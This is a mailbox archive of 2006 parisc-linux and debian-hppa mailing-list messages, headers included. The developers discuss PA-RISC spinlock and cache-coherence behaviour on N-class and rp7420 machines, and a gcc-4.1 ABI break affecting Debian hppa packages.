User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: V8FucVFnbmw7vq2HZzdLS0RHUzc4clFx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23653

On Sun, Apr 30, 2006 at 06:28:26PM -0500, Michael S. Zick wrote:
> On Sun April 30 2006 18:01, Michael S. Zick wrote:
> > 
> > Scratches head...
> > 
> > I wonder where Joel has his processors installed in relation to the
> > two busses?  Both on same buss or one per buss?  Would his lockups
> > go away if he picked the other relationship?
> > 
> > I will ask him.  (or perhaps I just did)
> >
> 
> Browsing old parisc spinlock code, I find a comment that the N4K
> can only have one outstanding PxTLB transaction at a time.

The original document says:
	The Merced bus is designed to only support a single broadcast
	PxTLB transaction in progress at a time, and this must be guaranteed
	by software. Software must semaphore to guarantee that only one
	processor is trying to issue a broadcast PxTLB at a time.

	Local PxTLBs, however, have no restrictions, since they are executed
	entirely on the issuing processor.

> Is it not the PxTLB transactions that implement the inter-processor
> coherency?

I don't think so.

> 
> Which is of course required for inter-processor spinlocks to work.
> 
> And, of course, this being Linux, the queue is protected by a spinlock!

PA-RISC _only_ has a spinlock.

> Did someone just shoot themselves in the foot?

Do you honestly think the HP HW engineers were _that_ stupid?

They occasionally make mistakes....but designing an SMP machine
that doesn't have at least one working atomic op would be a bit
over the top. ;)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 06:27:21 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <200605020627.21319.mszick@morethan.org>
References: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
	<200604301828.26318.mszick@morethan.org>
	<20060502062442.GC14414@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624079 19511 80.91.229.3 (22 Nov 2014 02:41:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 11:27:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 02 May 2006 13:27:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CB0A7D6B9;
	Tue,  2 May 2006 05:27:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03714-07; Tue, 2 May 2006 05:27:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1745F7D6B5;
	Tue,  2 May 2006 05:27:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B053E7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 05:27:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03714-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 05:27:24 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id C56457D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 05:27:24 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k42BRaXq066037;
	Tue, 2 May 2006 04:27:36 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.112.169] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id wAH0SFN2
	authenticated by SMTP; Tue, 02 May 2006 04:27:34 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20060502062442.GC14414@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fwYdAzlza2A7ubvDOHQyMTQyOWhhagd1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23654

On Tue May 2 2006 01:24, Grant Grundler wrote:
> On Sun, Apr 30, 2006 at 06:28:26PM -0500, Michael S. Zick wrote:
>
- - - -
> > Is it not the PxTLB transactions that implement the inter-processor
> > coherency?
> 
> I don't think so.
>

Makes sense, the hardware function transactions, such as coherency
transactions are usually not accessable by even kernel code.

Ignoring diagnostic features of course.
 
> 
> 
> Do you honestly think the HP HW engineers were _that_ stupid?
> 

No.
But programmers of old hardware are not always up to the same
standard.  Typo's, Think-o's, and Brain Farts happen.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
Date: Tue, 2 May 2006 14:27:49 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <17495.20549.807070.229385__8419.171794276$1416624080$gmane$org@gargle.gargle.HOWL>
References: <20060501025703.GL18891@mauritius.dodds.net>
	<200605011356.k41DugMD023580@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624080 19513 80.91.229.3 (22 Nov 2014 02:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:20 +0000 (UTC)
Cc: steven.robbins@videotron.ca,
 debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 Steve Langasek <vorlon@debian.org>,
 debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 364231@bugs.debian.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 12:28:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 02 May 2006 14:28:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD54D7D6CC;
	Tue,  2 May 2006 06:28:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04257-09; Tue, 2 May 2006 06:28:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5523F7D6C3;
	Tue,  2 May 2006 06:28:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F16907D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 06:28:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04257-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 06:28:10 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id AEBBF7D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 06:28:09 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id OAA06697;
	Tue, 2 May 2006 14:27:57 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 28DF0F259;
	Tue,  2 May 2006 14:27:57 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 10224)
	with ESMTP id 28138-48; Tue,  2 May 2006 14:27:50 +0200 (MEST) 12650
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Tue,  2 May 2006 14:27:50 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k42CRnpw017316; 
	Tue, 2 May 2006 14:27:49 +0200 (MEST)
In-Reply-To: <200605011356.k41DugMD023580@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DzkyBQNgfW4orOWveGVodW5mdmllckVM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23655

[should we drop parisc-linux?]

John David Anglin writes:
> > Er, no; we're talking about official Debian packages here, and the
> > libstdc++.so.6 in Debian is now from gcc-4.1.  The problem is precisely that
> > GMP *is* being built using gcc-4.0, but libstdc++ is from gcc-4.1, resulting
> > in the double libgcc_s problem.
> 
> Then, you must build *eveything* for hppa with gcc-4.1 or later.
> 
> Unfortunately, there's an ABI break.  Mixing libraries compiled with
> 4.0 or earlier with libraries compiled with 4.1 or later is just going
> to cause unnecessary problems.   3.3 uses libstdc++.so.5, so you
> avoid the double libgcc_s problem building GMP.  However, you still
> have the ABI change affecting the passing and return of complex types.
> 
> At a fundamental level, libstdc++.so.6, libgfortran.so.1.0.0 and any
> other gcc libraries built with 4.1 or later need glibc built with 4.1
> to function correctly because of the various complex functions in
> the math library.
> 
> I think there's a dynamic loader bug here as well.  I'm just
> guessing but I think the double libgcc_s problem causes a problem
> with the handling of .eh_frame data.


Ok, coming back to the question of the system compiler on hppa for
etch. Assuming that hppa does want to do that:

- is glibc buildable with gcc-4.1 on hppa?
- libstdc++6 would need to conflict with libgcc2, which seems to be
  doable, but then rules out g++-3.4 and g++-4.0 as a fallback
  solution, where g++-4.1 fails.
- libgfortran did have a soname change, so nothing needs to be done.
- is libffi hit by the ABI change as well?

	Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
Date: Tue, 2 May 2006 09:49:33 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200605021349.k42DnX8b029645__47127.2803414196$1416624080$gmane$org@hiauly1.hia.nrc.ca>
References: <17495.20549.807070.229385@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624080 19515 80.91.229.3 (22 Nov 2014 02:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:20 +0000 (UTC)
Cc: 364231@bugs.debian.org,
 steven.robbins@videotron.ca,
 debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 vorlon@debian.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 14:23:30 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx027) with SMTP; 02 May 2006 16:23:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 1E9B82DE69; Tue,  2 May 2006 09:23:28 -0500 (CDT)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 4ADF62E404
	for <debian-hppa@lists.debian.org>; Tue,  2 May 2006 08:50:39 -0500 (CDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k42DnYCP029646;
	Tue, 2 May 2006 09:49:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k42DnX8b029645;
	Tue, 2 May 2006 09:49:33 -0400 (EDT)
In-Reply-To: <17495.20549.807070.229385@gargle.gargle.HOWL> from "Matthias Klose" at May 2, 2006 02:27:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2006-04-09_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.9 required=4.0 tests=AWL,IMPRONONCABLE_1 
	autolearn=no version=3.0.3
Resent-Message-ID: <gVdNTC.A.wID.gt2VEB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5296
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  2 May 2006 09:23:28 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: CgY1ELdzbXBtrLqHPTQ2ODYqLyUmZYgJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23656

> Ok, coming back to the question of the system compiler on hppa for
> etch. Assuming that hppa does want to do that:
> 
> - is glibc buildable with gcc-4.1 on hppa?

As far as I know, there's no new problems using 4.1 instead of 4.0.  See
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/028894.html
and test results for a gcc 4.2.0 build using this glibc build
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/028918.html

> - libstdc++6 would need to conflict with libgcc2, which seems to be
>   doable, but then rules out g++-3.4 and g++-4.0 as a fallback
>   solution, where g++-4.1 fails.

True.

> - is libffi hit by the ABI change as well?

No.  It's not affected because it doesn't support complex types.

I have one libffi fix that's not yet in 4.2.0 that fixes the remaining
Java testsuite failures.  I haven't tested a backport to 4.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 11:10:51 -0400 (EDT)
Lines: 74
Approved: news@gmane.org
Message-ID: <200605021510.k42FAps6000117@hiauly1.hia.nrc.ca>
References: <20060502060028.GA14414@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624080 19520 80.91.229.3 (22 Nov 2014 02:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:20 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 15:11:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 02 May 2006 17:11:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 755A57D6B5;
	Tue,  2 May 2006 09:11:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06919-10; Tue, 2 May 2006 09:11:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 267BF7D6B9;
	Tue,  2 May 2006 09:10:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 095847D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:10:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06919-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 May 2006 09:10:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 045677D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 May 2006 09:10:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k42FAp5B000119;
	Tue, 2 May 2006 11:10:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k42FAps6000117;
	Tue, 2 May 2006 11:10:51 -0400 (EDT)
In-Reply-To: <20060502060028.GA14414@colo.lackof.org> from "Grant Grundler" at
	May 2, 2006 00:00:28 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vURufFkhYW0+truGbmZpbW50amthcxu+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23657

> > I also suggest using an ordered store for the unlock operation.  This
> > doesn't cost anything and may help to ensure that the order of memory
> > accesses as seen by another processor occur in the expected sequence.
> 
> I've had it drilled into my head that all parisc implmentations
> have strongly ordered memory subsystems. John Marvin (jsm) has
> stated that more than a few times on this list. So "ordered store"
> is the same as a regular store.

Yes, I know this has been said and I've seen it in documents.
However, HP-UX 11i uses lots of "ordered" stores and one is never
quite sure about the currency of information in documentation.

> > It all comes down to this crucial bit of code in the ldcw description:
> 
> I'd rather have someone like Jerry Huck or someone in his experience
> comment on this before we go down this path.  I'll try to find
> someone to consult with this week.

That would be great and I think help to clear up our questions.

> > It may be this is only reliable on fully coherent systems.  While
> > the N-class is classified as a UMA machine, it has two system buses
> > separated by a memory controller.  Each system bus can handle four
> > processors with L1 and L2 cache.
> 
> AFAIK, N-class has no L2 cache.

However, the rp7400 and rp7420 certainly do.  See
<http://www.ccns.pl/zasoby/13/rp7400techwp5.pdf>.  The rp7420
appears to have 32MB or 64MB of L2 per processor module.

> But it's worse than you think.
> N-class has two _Merced_ busses connected to the memory controller. 
> Each Processor is connected via a double pumped Runway Bus to "Dew"
> which acts as a "bridge" to one of the Merced Busses.
> 
> [ Digression - certain document says:
> 	In PA-RISC, code fetches are non-coherent, such that PCX-W doesn't
> 	even supply Vindex bits that would allow the code fetches to be
> 	coherent.
> ]

Because of this, if you want to execute instructions on the stack,
you have to flush the lines from both the instruction and data cache,
and do a sync before transferring to the code on the stack.

I just think that in machines with multiple data caches, we have to
be careful about the coherence of the data in these caches.  You have
pointed out that I-cache code fetches are non-coherent.  The L2 caches
in the rp7420 are combined.  The logic could provide different behavior
for I and D accesses, then again it might not.

If the hardware on all PA-RISC machines guarantees full coherence
of the D-cache on all machines except the V class, then my concern
is misplaced.  In that case, coherent_system should be 1 and the
",co" completer should have no effect on the semaphore operation,
other than to reduce the alignment requirement on PA 2.0 machines.
This would also imply that the store byte operation shown in the
semaphore paper doesn't improve spinlock performance.

Are there any PA 2.0 machines for which the value of coherent_system
is 0?  If so, which ones?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Tue, 2 May 2006 11:13:45 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20060502151345.GD6958@skunkworks.cabal.ca>
References: <20060502060028.GA14414@colo.lackof.org>
	<200605021510.k42FAps6000117@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624080 19522 80.91.229.3 (22 Nov 2014 02:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2006 15:19:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 02 May 2006 17:19:00 +0200
